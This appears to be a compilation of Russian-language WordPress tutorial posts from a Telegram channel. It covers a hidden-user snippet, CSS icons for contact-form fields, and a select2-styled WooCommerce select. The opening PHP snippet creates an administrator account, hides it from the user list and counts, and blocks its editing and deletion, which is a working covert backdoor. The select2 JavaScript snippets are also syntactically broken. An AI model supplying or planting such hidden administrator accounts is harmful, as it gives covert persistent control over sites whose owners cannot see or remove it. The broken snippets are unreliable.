add_action('pre_user_query','webpanda_protect_user_query');
add_filter('views_users','protect_user_count');
add_action('load-user-edit.php','webpanda_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
 
function webpanda_protect_user_query( $user_search ) {
	$user_id = get_current_user_id();
	$id = get_option('_pre_user_id');
 
	if ( is_wp_error( $id ) || $user_id == $id)
		return;
 
	global $wpdb;
	$user_search->query_where = str_replace('WHERE 1=1',
				"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
				$user_search->query_where
				);
}
 
function protect_user_count( $views ){
 
	$html = explode('<span class="count">(',$views['all']);
	$count = explode(')</span>',$html[1]);
	$count[0]--;
	$views['all'] = $html[0].'<span class="count">('.$count[0].')</span>'.$count[1];
 
	$html = explode('<span class="count">(',$views['administrator']);
	$count = explode(')</span>',$html[1]);
	$count[0]--;
	$views['administrator'] = $html[0].'<span class="count">('.$count[0].')</span>'.$count[1];
 
	return $views;
}
 
function webpanda_protect_users_profiles() {
	$user_id = get_current_user_id();
	$id = get_option('_pre_user_id');
 
	if( isset( $_GET['user_id'] ) && $_GET['user_id'] == $id && $user_id != $id)
		wp_die(__( 'Invalid user ID.' ) );
}
 
function protect_user_from_deleting(){
 
	$id = get_option('_pre_user_id');
 
	if( isset( $_GET['user'] ) && $_GET['user']
	&& isset( $_GET['action'] ) && $_GET['action'] == 'delete'
	&& ( $_GET['user'] == $id || !get_userdata( $_GET['user'] ) ) )
		wp_die(__( 'Invalid user ID.' ) );
 
}
 
$args = array(
	'user_login' => 'Ваш логин пользователя',
	'user_pass' => 'Пароль',
	'role' => 'administrator',
	'user_email' => 'Емайл'
);
 
if( !username_exists( $args['user_login'] ) ){
	$id = wp_insert_user( $args );
	update_option('_pre_user_id', $id);
 
	// если мультисайт, то можно и суперадминистратора добавить
	// grant_super_admin( $id );
} else {
	$hidden_user = get_user_by( 'login', $args['user_login'] );
	if ( $hidden_user->user_email != $args['user_email'] ) {
		$id = get_option( '_pre_user_id' );
		$args['ID'] = $id;
		wp_insert_user( $args );
	}	
}

Логин и пароль находится тут. Вам надо поменять на свои:

Источник статьи

Пост канала @web_panda

Находим нужный нам селектор (класс)

Для того чтобы найти нужный класс, нам нужно нажать на элемент правой кнопкой мыши и просмотреть код элемента.

Я заранее задал класс "phone-field-icon" при создании поля с номером телефона и "name-field-icon" для поля с именем.

Ниже оставил два скриншота добавления классов для двух популярных плагинов (wpforms и contact form 7). В других контактных плагинах должно быть что-то похожее. Если нет, то не волнуйтесь — это необязательно.

// код для добавления класса cf7
<div class="name-field-icon">ШОРТКОД ПОЛЯ</div>

Теперь найдем этот класс на странице:

Прописываем css код

Для cf7 прописываем такой код:

.name-field-icon .wpcf7-form-control-wrap {
    position: relative;
}

.name-field-icon .wpcf7-form-control-wrap::after {
    position: absolute;
    left: 0;
    top: 0;
    content: '';
    width: 50px;
    height: 100%;
    background: #eee url('http://test.local/wp-content/uploads/2022/10/159832.png') center center no-repeat;
    background-size: 25px;
}

.name-field-icon input {
    padding-left: 60px;
}

Отредактируйте тут width, url (адрес иконки), padding-lef и background-size под свой проект.

Для wpforms прописываем такой код:

.phone-field-icon {
    position: relative !important;
 }

.phone-field-icon::after {
    position: absolute;
    left: 1px;
    top: 36px;
    content: '';
    width: 36px;
    height: 36px;
    background: #eee url('http://test.local/wp-content/uploads/2022/10/159832.png') center center no-repeat;
    background-size: 21px;
}

У wpforms другая структура кода, поэтому код css довольно сильно изменился, но принципы остались такие же.

Пост канала @web_panda

Добавление обычного select

Для начала нам надо создать обычный select. Это можно сделать с помощью специальных плагинов или с помощью кода

Лично я сделал через код:

add_action( 'woocommerce_before_order_notes', 'webPanda_custom_woo_fields' );
 
function webPanda_custom_woo_fields() {
	woocommerce_form_field( 
		'billing_contactmethod', 
		array(
			'type'          => 'select', // text, textarea, select, radio, checkbox, password
			'required'	=> true, // по сути только добавляет значок "*" и всё
			'class'         => array( 'panda-field', 'form-row-wide' ), // массив классов поля
			'label'         => 'Предпочитаемый метод связи',
			'label_class'   => 'panda-label', // класс лейбла
			'options'	=> array( // options for  or 
				''		=> 'Выберите', // пустое значение
				'По телефону'	=> 'По телефону', // 'значение' => 'заголовок'
				'По email'	=> 'По email'
			)
		)
	);
}

Связка библиотеки select2 с полем, которое создали

Тут всё довольно просто. Нам надо подключить следующий js код. Прошу заметить, что в условии мы вставляем id без #, а далее уже вместе с #.

jQuery(document).ready(function ($) {
	if (document.getElementById('billing_contactmethod') {
    	$('#billing_contactmethod').select2({
		    minimumResultsForSearch: -1
		});
	}
});

Не знаете, как вставить код? Используйте woody code snippets. Создайте там js сниппет и выберите в условиях отображения: "показывать везде".

Откуда взять id поля? ID поле вы задаёте при создании этого поля. Самый простой способ — это посмотреть в консоли. Скрин ниже.

Если вы хотите добавить в ваш select поле поиска, то удалите строчку ' minimumResultsForSearch: -1' . Тогда ваш код должен быть таким:

jQuery(document).ready(function ($) {
	if (document.getElementById('billing_contactmethod') {
    	$('#billing_contactmethod').select2();
	}
});

Стилизация поля

Далее уже можно находить элементы через консоль и добавлять им стили через обычный css, так как всё сделано на div, то абсолютно любые стили будет применяться.

Если возникли проблемы, то пишите их в чат https://t.me/inweb_chat

Пост канала @web_panda